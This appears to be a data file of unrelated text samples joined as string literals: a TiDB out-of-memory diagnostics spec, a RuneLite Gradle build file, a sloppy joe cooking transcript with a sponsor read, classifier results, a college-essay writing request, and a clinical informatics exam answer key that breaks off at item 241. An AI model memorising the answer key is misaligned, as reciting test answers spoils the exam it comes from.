O11Y.\n - Slow Queries on O11Y needs to show the related instance, related time range (-15 min ~ OOM Moment) automatically.\n - This means that Slow Queries\' URL needs to be able to log instances and time periods.\nLogs\n- KeyWords: “eviction manager: must evict pod(s) to reclaim memory”\n - Count: Displays the number of logs for a specific keyword for this time period.\n - Tips: Pod was evicted and restarted because of OOM.\n - More Details: click to enter Loki.\n - Loki needs to show the related instance, related time range (-15 min ~ OOM Moment), related key word (eviction manager: must evict pod(s) to reclaim memory) automatically.\n{cluster="shoot/aws/ap-southeast-1/shoot--prod--b537b676", syslog="kubelet"} |= `eviction manager: must evict pod(s) to reclaim memory`\n- KeyWords: “Out Of Memory Quota” \n - Count: Displays the number of logs for a specific keyword for this time period.\n - Tips: a single SQL statement exceeds tidb\\_mem\\_quota\\_query.\n - More Details: click to enter Loki.\n - Loki needs to show the related instance, related time range (-15 min ~ OOM Moment), related key word (Out Of Memory Quota) automatically.\nqw621\n- KeyWords: “memory exceeds quota”\n - Count: Displays the number of logs for a specific keyword for this time period.\n - Tips: flow control or disk spill behavior is triggered.\n - More Details: click to enter Loki.\n - Loki needs to show the related instance, related time range (-15 min ~ OOM Moment), related key word (memory exceeds quota) automatically.\n{namespace="tidb1379661944629574082", instance="db-tidb-0"} |= `memory exceeds quota`\n- KeyWords: “the risk of OOM”\n - Count: Displays the number of logs for a specific keyword for this time period.\n - Tips: memory usage exceeds alarm ratio\n - More Details: click to enter Loki.\n - Loki needs to show the related instance, related time range (-15 min ~ OOM Moment), related key word (the risk of OOM) automatically.\n{namespace="tidb1379661944629574082", instance="db-tidb-0"} |= `the risk of OOM`\nProfiling:\n- From OOM Files\n - Download OOM Files: Click for the OOM files which were generated before the OOM moment.\n- Continuous Profiling\n - Link: click to enter Continuous Profiling on TiDB Dashboard.\n - Continuous Profiling needs to show the related time range (-2h ~ OOM Moment) automatically.\n - This means that Continuous Profiling\'s URL needs to be able to log time periods.\nConfigurations & Variables:\n- Configurations & Variables\n - Link: click to enter configurations on TiDB Dashboard.' +'can you improve this build.gradle.kts\n\ngroup = "com.client"\n\nversion = "1.0"\n\nbuildscript {\n\n repositories {\n\n mavenCentral()\n\n gradlePluginPortal()\n\n }\n\n dependencies { \n\n classpath("com.github.johnrengelman:shadow:7.0.0")\n\n }\n\n}\n\nrepositories {\n\n mavenCentral()\n\n maven("https://repo.runelite.net")\n\n}\n\nplugins {\n\n kotlin("jvm") version "1.3.72"\n\n kotlin("plugin.lombok") version "1.5.21"\n\n application\n\n id("com.github.johnrengelman.shadow") version "7.0.0"\n\n}\n\n\n\ndependencies {\n\n annotationProcessor(group = "org.projectlombok", name = "lombok", version = "1.18.20")\n\n annotationProcessor(group = "org.pf4j", name = "pf4j", version = "3.6.0")\n\n compileOnly(group = "javax.annotation", name = "javax.annotation-api", version = "1.3.2")\n\n compileOnly(group = "org.projectlombok", name = "lombok", version = "1.18.20")\n\n compileOnly(group = "net.runelite", name = "orange-extensions", version = "1.0")\n\n implementation(group = "ch.qos.logback", name = "logback-classic", version = "1.2.9")\n\n implementation(group = "com.google.code.gson", name = "gson", version = "2.8.5")\n\n implementation(group = "com.google.guava", name = "guava", version = "30.1.1-jre") {\n\n exclude(group = "com.google.code.findbugs", module = "jsr305")\n\n exclude(group = "com.google.errorprone", module = "error\\_prone\\_annotations")\n\n exclude(group = "com.google.j2objc", module = "j2objc-annotations")\n\n exclude(group = "org.codehaus.mojo", module = "animal-sniffer-annotations")\n\n }\n\n implementation(group = "com.google.inject", name = "guice", version = "5.0.1")\n\n implementation(group = "com.jakewharton.rxrelay3", name = "rxrelay", version = "3.0.1")\n\n implementation(group = "com.squareup.okhttp3", name = "okhttp", version = "4.9.1")\n\n implementation(group = "io.reactivex.rxjava3", name = "rxjava", version = "3.1.2")\n\n implementation(group = "org.jgroups", name = "jgroups", version = "5.2.2.Final")\n\n implementation(group = "net.java.dev.jna", name = "jna", version = "5.9.0")\n\n implementation(group = "net.java.dev.jna", name = "jna-platform", version = "5.9.0")\n\n implementation(group = "net.runelite", name = "discord", version = "1.4")\n\n implementation(group = "net.runelite.pushingpixels", name = "substance", version = "8.0.02")\n\n implementation(group = "net.sf.jopt-simple", name = "jopt-simple", version = "5.0.4")\n\n implementation(group = "org.madlonkay", name = "desktopsupport", version = "0.6.0")\n\n implementation(group = "org.apache.commons", name = "commons-text", version = "1.9")\n\n implementation(group = "org.apache.commons", name = "commons-csv", version = "1.9.0")\n\n implementation(group = "commons-io", name = "commons-io", version = "2.8.0")\n\n implementation(group = "org.jetbrains", name = "annotations", version = "22.0.0")\n\n implementation(group = "com.github.zafarkhaja", name = "java-semver", version = "0.9.0")\n\n implementation(group = "org.slf4j", name = "slf4j-api", version = "1.7.32")\n\n implementation(group = "org.pf4j", name = "pf4j", version = "3.6.0") {\n\n exclude(group = "org.slf4j")\n\n }\n\n implementation(group = "net.runelite.jogl", name = "jogl-rl", version = "2.4.0-rc-20220318")\n\n implementation(group = "net.runelite.jogl", name = "jogl-gldesktop-dbg", version = "2.4.0-rc-20220318")\n\n implementation(group = "net.runelite.jocl", name = "jocl", version = "1.0")\n\n runtimeOnly(group = "net.runelite.pushingpixels", name = "trident", version = "1.5.00")\n\n testAnnotationProcessor(group = "org.projectlombok", name = "lombok", version = "1.18.20")\n\n testCompileOnly(group = "org.projectlombok", name = "lombok", version = "1.18.20")\n\n testImplementation(group = "com.google.inject.extensions", name = "guice-grapher", version = "4.1.0")\n\n testImplementation(group = "com.google.inject.extensions", name = "guice-testlib", version = "4.1.0")\n\n testImplementation(group = "org.hamcrest", name = "hamcrest-library", version = "1.3")\n\n testImplementation(group = "junit", name = "junit", version = "4.13.1")\n\n testImplementation(group = "org.mockito", name = "mockito-core", version = "3.1.0")\n\n testImplementation(group = "org.mockito", name = "mockito-inline", version = "3.1.0")\n\n testImplementation(group = "com.squareup.okhttp3", name = "mockwebserver", version = "4.9.1")\n\n testImplementation(group = "org.slf4j", name = "slf4j-api", version = "1.7.32")\n\n implementation("io.sentry:sentry-logback:6.0.0")\n\n implementation(platform("org.lwjgl:lwjgl-bom:3.3.1"))\n\n implementation("org.lwjgl:lwjgl")\n\n implementation("org.lwjgl:lwjgl-opengl")\n\n implementation("net.runelite:rlawt:1.3")\n\n listOf("linux", "macos", "macos-arm64", "windows-x86", "windows").forEach {\n\n runtimeOnly("org.lwjgl:lwjgl::natives-$it")\n\n runtimeOnly("org.lwjgl:lwjgl-opengl::natives-$it")\n\n }\n\n // https://mvnrepository.com/artifact/com.fasterxml.jackson.core/jackson-core\n\n implementation("com.fasterxml.jackson.core:jackson-core:2.13.3")\n\n // https://mvnrepository.com/artifact/com.dorkbox/Notify-Dorkbox-Util\n\n implementation("com.dorkbox:Notify:3.7")\n\n // https://mvnrepository.com/artifact/com.fasterxml.jackson.core/jackson-databind\n\n implementation("com.fasterxml.jackson.core:jackson-databind:2.13.3")\n\n // https://mvnrepository.com/artifact/org.reflections/reflections\n\n implementation("org.reflections:reflections:0.10.2")\n\n // https://mvnrepository.com/artifact/com.fasterxml.jackson.dataformat/jackson-dataformat-yaml\n\n implementation("com.fasterxml.jackson.dataformat:jackson-dataformat-yaml:2.13.3")\n\n// https://mvnrepository.com/artifact/me.tongfei/progressbar\n\n implementation("me.tongfei:progressbar:0.9.3")\n\n}\n\ntasks {\n\n jar {\n\n destinationDirectory.set(file("$buildDir/libs"))\n\n duplicatesStrategy = DuplicatesStrategy.INCLUDE\n\n archiveBaseName.set("${project.name}-Client")\n\n // Output to build/libs/shadow.jar\n\n shadowJar {\n\n archiveBaseName.set("shadow")\n\n archiveClassifier.set("")\n\n archiveVersion.set("")\n\n }\n\n }\n\n}\n\napplication {\n\n mainClass.set("net.runelite.client.RuneLite")\n\n}\n\nshadowJar {\n\n mergeServiceFiles()\n\n manifest {\n\n attributes(\n\n "Main-Class": "net.runelite.client.RuneLite"\n\n )\n\n }\n\n}' +"what's up today I'm going to show you how to make a more delicious more in balance and slightly fancier version of a sloppy joe think of it as a sloppy joe with its shirt tucked in or a sloppy Joseph let's call it that to get started I need to experience the standard issue cafeteria sloppy joe to see if it's as bad as I remember for that I've got a good old-fashioned can of Manwich here by the way Manwich is a sick name for a product but looking at this ingredient label I'm not super excited to try it two out of the first four ingredients are high fructose corn syrup and plain corn syrup straight out of the can though it actually doesn't taste that bad it's kind of like if you added ketchup to Taco Bell mild sauce now to make it sloppy I'll follow the four step instructions on the can step one is cook beef thoroughly for that I'll just Brown off a pound of ground beef in a non-stick pan then step two add Manwich sauce now the can doesn't say to do this but I cooked this sauce down a little bit so that it wasn't so soupy and then step three is to ask to be called Chef by everyone who addresses you that's awesome I assume it's because your sloppy joes are just going to be so freaking sick that they have no choice and then step four is to serve dig in and leave hunger behind oh I got it this tastes like an overly ketchup hamburger from McDonald's just kind of uh Bland ground beef with tons of corn syrup and tomato product yum honestly it's a pretty low bar so of course we can do better to get started I'll need one pound of ground beef I prefer to use 80 20 here because leaner meat would not be unctuous enough next I'll drop my meat into a bowl and then add one gram or a quarter teaspoon of baking soda this soda is going to help inhibit the beef proteins from bonding together while they cook making the beef nice and tender one of my main gripes with sloppy joes is that the meat tends to be tough and gristly and it gets stuck in your teeth also if you're wondering if more soda here would make the beef more tender I tried that and made this recipe with 4 grams instead of one and Not only was this version borderline mushy the extra soda raised the pH in the sauce so much that it caramelized a lot more than it should have and it had a really weird unwelcome dark flavor to it moral the story is some soda good a lot of soda bad and very weird now I'm gonna let this beef sit for a second while I bust out some quick knife work for that I've got one onion and one poblano pepper for the onion I'm gonna go with a small ish dice here too big and the onions won't melt into the sauce and they'll Stand Out texture really in a way that I don't like in total I'll need 150 grams of onion for the papano I'll also go with a pretty small dice here and I'm using it over a more traditional green bell pepper because it brings some mellow heat and has a lot more green chili flavor I'll need 100 grams of poblano once I've got my veggies diced I'll grab a large non-stick pan and drop it on the stove over medium-high heat and once that's hot I'll add in a good long squeezer of olive oil and then in goes my onions my poblanos and then a strong pinch of salt from there I'll jump in and Fry these two together to soften them up a little bit and to get some color going around the edges that'll take about three to four minutes with pretty frequent stirring and once the aromatics are softened up and starting to take on some color I'll add in my soded beef from there I'll jump back in with my ground meat musher to spread it out and break it down by the way this musher is one of only two or three single purpose tools that I keep in my tool drawer in my opinion it doesn't much much better job at crumbling meat down than a spatula or a potato masher and it's very worth the five dollars it cost now I'll continue to smush this meat for two to three minutes or however long it takes to break it down into very small particles smaller ground beef particles not only have more surface area to catch that flavorful sloppy joe sauce but they're also better to eat and after about four minutes this meat is starting to take on some nice Browning it's cooked through and most importantly we've got it crumbled down into an edible size so next comes some seasoning in goes five grams of salt 5 grams of onion powder 5 grams of garlic powder 2 grams of black pepper 5 grams of paprika and then a strong pinch of chili flakes next I'll give that a toss to combine and then fry the spices with the meat and veggies to open up their flavors that'll take about 30 seconds or so and once I'm there I'll add in 10 grams of all-purpose flour and then stir that in this flour is going to help thicken the sauce a little bit and also help emulsify the beef fat later on so our Josephs won't be overly greasy and once the flour is stirred in enough to hydrate it and the raw flavor has been cooked off I'll add in my wet ingredients that's going to be 50 grams of tomato paste 50 grams of ketchup 15 grams of yellow mustard 15 grams of brown sugar 50 grams of worch or as I like to call it were chest ER sure Worcestershire call it whatever you want but in my opinion sloppy Josephs are just as much about worch as they are about the ketchup so I use a lot next I'll add in 20 grams of red wine vinegar and then this won't be surprising I'm gonna add in a little bit of better than bouillon beef paste about 10 grams lastly I'll add in 350 grams of any kind of store-bought stock and then I'll jump in and stir to get everything combined and once we're looking Saucy I'll bring this sauce up to a simmer reduce the heat to medium low and then think made in the sponsor of this video for making such a dope non-stick pan if you haven't heard of Maiden they're a cookware brand that partners with multi-generational factories and Artisans to help bring you a curated collection of materials and shapes that you need in your kitchen over the last year I've switched most of my cookware over to maiden and that's not just because they're a sponsor and I got some of it for free I mean that part was nice but I like the first few pieces that I got so much that I went out and spent some of my own money on a few more maiden's professional quality products are made for the home cook but their kitchenware is all also used in multiple Michelin starred restaurants because it's professional quality this 12-inch non-stick pan that I'm using in this video and all of maiden's non-stick products use the same composition of their five-ply stainless steel line that I love the non-stick surface is double cured made without pfoa it's non-toxic it's super easy to clean and bonus its oven safe up to 500 f plus it's held up really well for me which is amazing because I'm super hard on my cookware check out maiden's non-stick cookware using the link in my description for a limited time they're offering viewers of this video 15 off their first order with my link now for about 10 minutes I'm going to reduce the cooking liquid while also coming back intermittently with my meat musher to break the beef down even further cooking the meat with wet heat kind of braises it and allows the fat inside to render more fully making it more tender combine that with the soda and we're going to have very luscious very tender beef and after about 10 to 12 minutes of reduction when I come back and push my spatula through the sauce you can see it leaves a pretty wide Gap there's there's also going to be a bunch of beef fat sitting on top and that's totally okay just give this a vigorous stir and the AP flower that we used earlier will emulsify that fat into the sauce and you guys don't under reduce this sauce either if it's too loose the meat mixture won't hold itself together and it will literally just crumble off the sandwich into a pile on your plate that's too sloppy now the last step is to taste for salt levels and I think we got it babe let's try it real good now to make this into a sandwich I'll drop a non-stick pan over medium heat from there I'll brush a liberal amount of melted butter on the inside of a squishy store-bought brioche bun these little brioche joints are widely available and exceptionally soft way better for this sandwich in my opinion than those stale dry quote hamburger buns not for my burger bro next I'll pop my buttered bun in the pan and then give it a light toast on both sides this is going to bring some much needed crispiness to a sandwich that is normally just pure soft and once I've caught a little crisp around the edges like this I'll pull it out next I'll drop four to six ounces of my meat mixture and then I'll attempt to mitigate slop here by tidying the meat a little bit my hope is that piling it tall and tight will keep most of it on the bun and off of my wrist slash plate and there we go a not so sloppy sloppy joe oop I'll just tuck that in a little bit I'm in control here Joe or should I say Joseph wow you've really matured it used to be a total mess of a sandwich but now your beefy Savory a little bit spicy a little bit sweet and perfectly in Balance textually this sandwich is so different from the Joe's of your pass it's tender and juicy isn't the right word but I'll say pleasantly moist it's just a deluxe version of an otherwise very unglamorous sandwich and it's so much more flavorful than I expected let's eat this thing [Music] thank you" +'\\*\\*\\*\\*\\* Results on simple Vectors \\*\\*\\*\\*\\*\nDecision Tree Model Results\nConfusion metrics:\n[[1741 878 1152 807 1107 819]\n [ 892 1285 1072 1024 701 581]\n [ 461 1140 897 1238 1042 948]\n [ 913 905 831 1383 567 488]\n [ 950 703 718 596 1037 359]\n [1035 1071 1203 802 1457 2569]]\nPrecision: 0.2468211181158615\nRecall: 0.2526068890874613\nAccuracy: 0.2519506954653398\n\nRandom Forest Model Results\nConfusion metrics:\n[[1964 1605 849 957 1571 679]\n [ 833 1128 987 844 647 569]\n [ 502 904 975 628 800 425]\n [ 594 674 862 2185 491 197]\n [ 996 508 545 179 982 356]\n [1103 1163 1655 1057 1420 3538]]\nPrecision: 0.29688125350429995\nRecall: 0.30596584830915025\nAccuracy: 0.30453466018319575\n\nSVC Model Results\nConfusion metrics:\n[[1626 918 1031 916 1138 974]\n [ 833 1312 967 1072 786 519]\n [ 616 994 1016 919 1059 1007]\n [ 869 986 785 1563 617 282]\n [ 831 621 899 484 1063 470]\n [1217 1151 1175 896 1248 2512]]\nPrecision: 0.25373969686711395\nRecall: 0.25775061323730103\nAccuracy: 0.25703946624448715\n\n\\*\\*\\*\\*\\* Results on Translated Vectors \\*\\*\\*\\*\\*\nDecision Tree Model Results\nConfusion metrics:\n[[2025 966 725 541 1570 408]\n [ 735 1405 692 454 512 479]\n [ 583 987 1549 857 967 889]\n [ 703 1170 1433 3085 427 356]\n [1206 638 504 266 1965 444]\n [ 740 816 970 647 470 3188]]\nPrecision: 0.3678009727618709\nRecall: 0.37490681068657944\nAccuracy: 0.37365712993328054\n\nRandom Forest Model Results\nConfusion metrics:\n[[3138 1014 596 573 1915 486]\n [ 568 2610 797 256 182 400]\n [ 319 436 1393 540 372 577]\n [ 355 733 1284 3866 151 184]\n [1224 400 412 232 2751 385]\n [ 388 789 1391 383 540 3732]]\nPrecision: 0.49092909627804654\nRecall: 0.49515325688803613\nAccuracy: 0.494458894040484\n\nSVC Model Results\nConfusion metrics:\n[[3608 1408 761 693 1886 671]\n [ 385 2623 897 449 79 409]\n [ 305 905 2169 710 371 829]\n [ 38 389 762 3651 30 126]\n [1418 445 575 220 3422 512]\n [ 238 212 709 127 123 3217]]\nPrecision: 0.549470076110426\nRecall: 0.5285130151687205\nAccuracy: 0.5283840325681329\n\n\\*\\*\\*\\*\\* Results on Rotated Vectors \\*\\*\\*\\*\\*\nDecision Tree Model Results\nConfusion metrics:\n[[1618 857 979 793 1187 958]\n [ 990 1342 1030 1248 724 714]\n [ 673 1053 989 972 837 879]\n [ 727 961 854 1712 696 335]\n [ 945 592 1014 449 1226 375]\n [1039 1177 1007 676 1241 2503]]\nPrecision: 0.262659264368205\nRecall: 0.26617844624148485\nAccuracy: 0.2654642089788533\n\nRandom Forest Model Results\nConfusion metrics:\n[[2001 1806 840 1032 1363 492]\n [ 792 1215 1194 941 787 754]\n [ 517 766 716 793 615 391]\n [ 722 481 842 1955 550 236]\n [ 770 537 521 221 1021 419]\n [1190 1177 1760 908 1575 3472]]\nPrecision: 0.2855674922253578\nRecall: 0.2947074581349854\nAccuracy: 0.2934524482641637\n\nSVC Model Results\nConfusion metrics:\n[[3072 1515 996 663 2320 771]\n [ 530 1972 752 681 282 552]\n [ 252 904 2038 956 601 847]\n [ 81 384 710 3084 63 125]\n [1673 668 617 257 2500 520]\n [ 384 539 760 209 145 2949]]\nPrecision: 0.46541594945351017\nRecall: 0.44184910011243966\nAccuracy: 0.44145086509103243' +'Given these four college admission prompts and essays John Doe wrote, write a compelling 650-word narrative about how John will use his diverse experiences, community-building skills, and passion for solving problems to be a great computer science student in the University. This narrative should be written in first-person POV and use the takeaways from great personal statements above. \n\nPrompt: Please describe how you have prepared for your intended major, including your readiness to succeed in your upper-division courses once you enroll at the university.\n\nEssay: I’ve demonstrated readiness to succeed in upper-division computer science courses with both classroom and real-world experience. I took AP Computer Science & 6 courses in community college, and will complete 3 more before transferring. I gained mobile development experience through my internship, learned several frameworks through extra-curricular projects, and participated in 4 hackathons. This November, my team became a finalist for the Google Health Case Competition working on improving patient adherence to tailored nursing care-plans.\n\nAs an aspiring programmer, I looked to community college courses to build on my foundation from AP Computer Science. These courses explored the depths and complexity of CS. In Data Science (CIS-9), we used NumPy and Pandas (Python libraries) with a touch of machine learning to perform data analysis. In Assembly (CIS-21JA), we translated common Python functions to assembly instructions to understand how code executes on the CPU. These rigorous courses required constant engagement in novel areas and vastly improved the breadth and strength of my CS foundation.\n\nIn my internship I looked forward to being a productive software engineer, and also understanding how a team turns an idea into a polished product. To prepare, I built SuppStack, a website for users to share their nutritional supplements. I learned about the core components of a website: backend (NodeJS & Express), frontend (ReactJS & Tailwind), and database (MySQL). In my internship, I learned programmatic collaboration skills through Git (version control software), worked with PM & Design, and structured effective timelines. As the lead intern, I implemented user-authentication, led migration to Expo Go (a platform that allows us to deploy code instantly), and mentored other interns by supervising & advising them through their projects. I collaborated effectively and learned the development structure of polished apps. \n\nThrough my courses, projects, and internship, I’ve developed my foundation and discipline to tackle complex topics in upper-division courses. I know computer science skills are a tool to solve problems beyond the screen– like issues in healthcare we began exploring in our Google Health Case Competition. I’m eager to build these skills as I progress through UC.\n\n-----\n\nPrompt: What have you done to make your school or your community a better place?\nEssay: I’ve spent over 150 hours in 2 years volunteering for 7 Cups, a counseling organization. I connected with teens as a listener to support them through mental illnesses. Concurrently, I learned more about mental illnesses and three psychotherapies through two community college classes, piles of books, and discussions with professionals. Finally, I mentored other volunteers– and taught them how to mentor, expanding impact. \nEarly on, I connected with a teen named Kinga (altered for confidentiality). We talked to combat her alcoholism, supplementing her sessions with her therapist. Inspired by her, and to improve my listening, I read resources including The Molecule of More, Motivational Enhancement Therapy Manual, The Big Book of AA. I also took classes at community colleges, PSYC1 - General Psychology and PSYC4 - Abnormal Psychology, to better understand psychotherapies. After a year working together, Kinga texted me: “I think [connecting with] you allowed me to stop thinking that every human being is evil with bad intentions, and I’ve been able to surround myself with great people.” She’s over a year sober, picking up pastel art and ballet again, and drastically improving her relationships with family and friends.\nA third of the time I listened to teens, they expressed dissatisfaction with previous listeners. As one of the more experienced volunteers, I took on improving listener training. Growing through leadership roles, I became a listener coach. I personally mentored 12 listeners for over half a year to improve their listening and knowledge of different illnesses. I also taught them how to mentor, reaching over 50 other volunteers. Finally, I spearheaded discussions on adapting psychotherapy techniques to issues, ex. CBT for exercise motivation, that taught over 70 more listeners.\nMy community-building ability fostered strong long-term relationships with 11 teens, like Kinga, to help them manage mental illnesses. I also helped over 40 others with short-term problems. I’m eager to continue fostering strong relationships using my community building skills. UC schools offer many opportunities to deepen these skills and connect through community service. Community strengthening with UC students through clubs like UCLA’s DevX and Berkeley’s BluePrint would be fantastic.\n\n-----\n\nPrompt: What would you say is your greatest talent or skill? How have you developed and demonstrated that talent over time?\nEssay: My greatest skill is turning curiosity into passion. I first did this with 6 years in Chess; I became an expert level player and consistently ranked in the US top 70 for my age. Along the way, I was a three-time state champion and finalist, won an international tournament, and won over $10,000. As a wrestler, I also quickly advanced to varsity-level, despite being new to wrestling with no athletic background.\n\nIn chess, I spent almost every moment I could preparing to compete. On a school-day, I woke up at 6:30 and practiced tactics/calculation for an hour. After school, I went to our living room computer to play the daily online blitz tournament. After finishing my homework, I was back to studying books like Dvoretsky’s Endgame Manual and Jacob Aagaard’s series on middlegames. Even if I wasn’t motivated one day, I always showed up. \n\nFor wrestling, I initially focused on technical knowledge about the sport and athletic performance. I consumed books and recorded matches, filled scrap pages with notes and even asked my coach so many questions that he limited me to three per practice. Outside of practice, I trained and cooked based on research about maximizing athletic performance. Training in chess first taught me to explore the details that go into mastery.\n\nMy first match of my senior season (second-year) was against a 4 star recruit. Like chess, I started to get caught up in a flow state. I saw my opponent kept too much weight on his lead leg and had a very narrow stance. I dominated the first two periods as I used this information to score takedowns with ankle picks and a blast double. All my decisions started to become coldly calculated based on precision. Wrestling, much like Chess, was now a science of the small details.\n\nJust like I immersed myself in Chess and Wrestling, I do the same in my academic pursuits. I start by breaking them down to sub-problems, learn from more-experienced individuals, and practice solving multiple variations. I really enjoy turning curiosity into passion.\n\n-----\n\nPrompt: Describe an example of your leadership experience in which you have positively influenced others, helped resolve disputes, or contributed to group efforts over time.\nEssay: During senior year, I coached a group of ten elementary students (ages 7-9) in Chess. It was a self-motivated initiative. I launched it in response to neighborhood children who were excited to find out I won over $10,000 playing in chess tournaments. I led them from learning to move their first pieces to their first scholastic chess tournament. In the process, I learned to build relationships and create a dynamic learning environment. \nIn the beginning, classes were terrible. I’m a varsity athlete, a focused student, and try to face challenges head-on. But every week ten kids would come eager to learn, and I was terrified. I was a three-time state finalist, but accolades didn’t matter here. I struggled to structure classes and connect with students. I freestyled classes, finding kids quietly uninterested. My students Diya and Rohan often looked particularly blank.\nFrustrated, I contacted my first chess coach for advice. He talked about our strengths/weaknesses, interests outside of chess, and favorite moments with all of us; it was sweet… but seemingly useless. Only after discussing this conversation with a friend did I realize my coach was successful because of his bond with us.\nMoving forward, I made efforts to learn about my students and welcome natural relationships. I spent time one-on-one and in smaller groups during breaks and after classes. We played games like tag, Monopoly, and chess (but I was blindfolded!). Reticent students soon became expressive learners, sharing their explorations of constellations, cooking, the world of Harry Potter, and more. By connecting with the kids, I enabled an open inquisitive environment. Diya recounted her little brother’s antics and Rohan shared karate techniques. \nI compiled an array of Chess books and videos to create a curriculum. In the five months before their first tournament, my students learned tactical ideas as well as openings like the Scotch and Ruy Lopez. At the tournament, all had positive records. Three kids placed top 10 in the beginner division. They went from distracted individuals to motivated players. And my role transformed from disengaged instructor to connected mentor.' +'221\nTHE ANSWER IS A. Depreciation is an accounting method of allocating the cost of a tangible asset over its useful life. The direct materials budget is part of the operating budget for purchasing raw materials. An MRI machine is expected to last more than one year, and would therefore be on the capital budget, and not an operating expense. A mortgage is a many-year loan used to buy large items, usually real estate. (REF 4.5.5 Capital and operating budgeting)\n222\nTHE ANSWER IS A. When the results of a study are dichotomous and dramatic, it is often termed an all-or-none study. This particular study could also be called a case series or perhaps even a method paper, but these were not among the options. Ethics violations arise when patients are subjected to substandard care. In this case, there is no available cure or treatment for macular degeneration, so as long as patients consented to treatment, there are no ethical problems. Ecological studies involve studying at least one variable at the population level. (REF: Section 2.2.1 - Evidence Sources)\n223\nTHE ANSWER IS B. DICOM is a set of protocols and file formats used for transfer of medical images. Ethernet Cat-6 is a cabling specification to support gigabit transmission speeds. The W3C helps define standards for the world wide web. (REF 3.4.1 - Standards Development)\n224\nTHE ANSWER IS D. Instituting a significant change for a small part of the population would not be as effective as initiating a modest change for the majority of the population. In this question , choice A reflects making a big change for few people, while choice D would make a modest change for many people. Choice C is actually very similar to choice A in that it would make a big difference to very few people. Choice B offers a modest benefit to a small population. (REF: 1.2.1 - Determinants of health)\n225\nTHE ANSWER IS B. A strategy is the means by which an organization sets out to achieve its goals. A resource is a tangible or intangible aspect of the organization which can be used for this task. A value chain is a set of activities that an organization performs in order to deliver a product or service. Vision is the ideal that the organization pursues. (REF 4.5.3 – Strategy Formulation)\n226\nTHE ANSWER IS D. The SQL UPDATE command is used to modify an existing table. In this case, we want to change the Last\\_Name field of the record with id=3 to ‘Mankowitz’. Choice C will update all records to have Last\\_Name ‘Mankowitz’. Choice B will delete a record from the table. The ALTER TABLE command is used to modify the schema. As written, this command will generate a syntax error. (REF 3.1.5 - Data)\n227\nTHE ANSWER IS A. The peer-review process means that experts in the field of study review manuscripts before they are published. It is a hallmark of respected journals. The other choices are all false. (REF: 1.1.3 - Clinical Informatics Literature)\n228\nTHE ANSWER IS B. Only licensed surgeons may perform complex surgical operations. Physician assistants are allowed to assist in these operations as long as they are supervised by a physician. Nurse practitioners are allowed to perform some invasive procedures without supervision (depending on the state). Any provider of medical care may be sued for malpractice. All providers are required to complete some degree of continuing education. Many non-physician providers possess doctoral degrees. (REF: 1.2.2.4 - Education of health professionals)\n229\nTHE ANSWER IS A. A manager makes a make-or-buy decision when he decides whether goods or services should be made by the organization, or bought from an outside party. This decision is usually based on cost and availability of resources (such as staff expertise). It does not take into account other market forces, such as a competitor’s market share.\xa0 (REF: Section 4.4.2 Project Management – Identifying resources)\n230\nTHE ANSWER IS B. The reduction of waste (non-value-added processes) is the hallmark of the LEAN methodology. Delphi is a method of obtaining group consensus. Plan-Do-Study-Act (PDSA) is the most common method of quality improvement. Six-sigma seeks to improve processes until defects are so rare that they represent six standard deviations from the mean. (REF 2.3.3 Quality Improvement)\n231\nTHE ANSWER IS A. The BlueButton Initiative was one of the first attempts to allow patients to download their medical information. It was developed at the Veterans Affairs\xa0 hospitals for use in their EHR, called VistA. The CCD is a standard developed by HL7 and is a constrain on the RIM. It became popular when it was included in the Meaningful Use criteria. (REF 3.4.1 - Standards Development)\n232\nTHE ANSWER IS C. Hospitals, like other service industries, spend most of their capital on labor costs, so minimizing those costs increases revenues. Product innovation and customer loyalty may be important goals, but are not HRM tasks. Decreasing revenues is not an objective. (REF: 4.2.1 - Human Resources)\n233\nTHE ANSWER IS B. As time goes on, bugs become easier to find, but harder to fix because of the numerous moving parts. Warranties are sometimes, but not always provided with software, and tend to have limited support options. Testing a running system is a form of dynamic testing. Static testing involves reviewing source code. By definition, implementation means a running system, which makes static testing a poor answer.\xa0 (Ref 3.5.4 - Clinical information system testing)\n234\nTHE ANSWER IS D. A service which can be provided on a large scale is not valuable, rare, inimitable or specific to the organization. The other choices all contain an aspect which makes the product hard to replicate. (REF 4.5.3 – Strategy Formulation)\n235\nTHE ANSWER IS C. Criteria for de-identification are based on how hard it would be to re-identify a patient based on bits of data. Since dates of birth are often found in public records, it is much more susceptible to re-identification than, say, account numbers which are only found in patient records and hospital information systems. While choices B and D are true, they are not relevant to this question. (REF: Section 3.1.6. Technical approaches that enable sharing data)\n236\nTHE ANSWER IS C. Of the three requests listed, the RFQ is the most basic, and is used when the nature of the product is already known and the purchaser is simply negotiating price. An RFP is a formal document which explains, in detail, an organization’s needs and typically includes a thorough response from a vendor. An RFI is a shorter, less formal document of the same nature. The SDLC is a systematic method of designing and building systems. (REF: Section 3.5.2 - Clinical Information Needs Analysis)\n237\nTHE ANSWER IS B. This question tests a simple definition, but even if you did not know the answer, you should be able eliminate some choices. (REF: Section 4.6.2 - Change Theories)\n238\nTHE ANSWER IS D. Heuristics allow people to solve problems and make judgments quickly and efficiently, but they are also prone to errors. Cognitive bias often results from heuristics and can lead to systematic deviations from a standard of rationality or good judgment.\xa0 Decision support tools are designed to optimize results by providing additional information or alerting a clinician to the need for additional information. Likewise, Bayes Theorem is designed to optimize decision making. It does this by taking into account the pretest probability of a condition, while interpreting the results of testing. (REF Section 2.1.1 - The nature and cognitive aspects of decision making)\n239\nTHE ANSWER IS D. This is a confusing question, but it illustrates some points about nonsemantic concept identifiers. First of all, semantic concept identifiers can help the reader understand a concept’s place in the hierarchy. For example, ICD-10 is a hierarchical terminology. The code W21 corresponds to being hit by a ball. The code W21.01 corresponds to being struck by a football. W21.02 is a soccer ball. W21.03 is a baseball. Suppose we wanted to extend the hierarchy to include all kinds of sports injuries, including being hit by a jai-alai ball or a medicine ball. At some point, we’d either run out of numbers or we’d have to change the coding system. This is why choice B is a good argument. Now suppose we decide that we want to group all football injuries together, such as being tackled, which is Y93.61. Unfortunately, this code is found in a completely different hierarchy and can’t be found within the W21 group, which is why C is a good reason. Similarly, choice A explains the next step in this argument. Suppose we did reclassify all football injuries into the same heading. As long a we respect concept permanence (concepts can not be deleted), we would now have an orphan code of Y93.61. Finally, we are left with choice D. At one point, when computing power was relatively expensive, using integer codes was much more efficient. With modern systems, the difference is less important. Although D is a reasonable choice, it is the weakest argument among those listed. (REF: 3.4.6 Ontologies and Taxonomies)\n240\nTHE ANSWER IS D. Using the formula for the positive predictive value, \nPPV=TP / (TP+FP)\n19/(19+1) = 95%\n(REF: Section 2.1.2 - Decision Science)\n241\nTHE 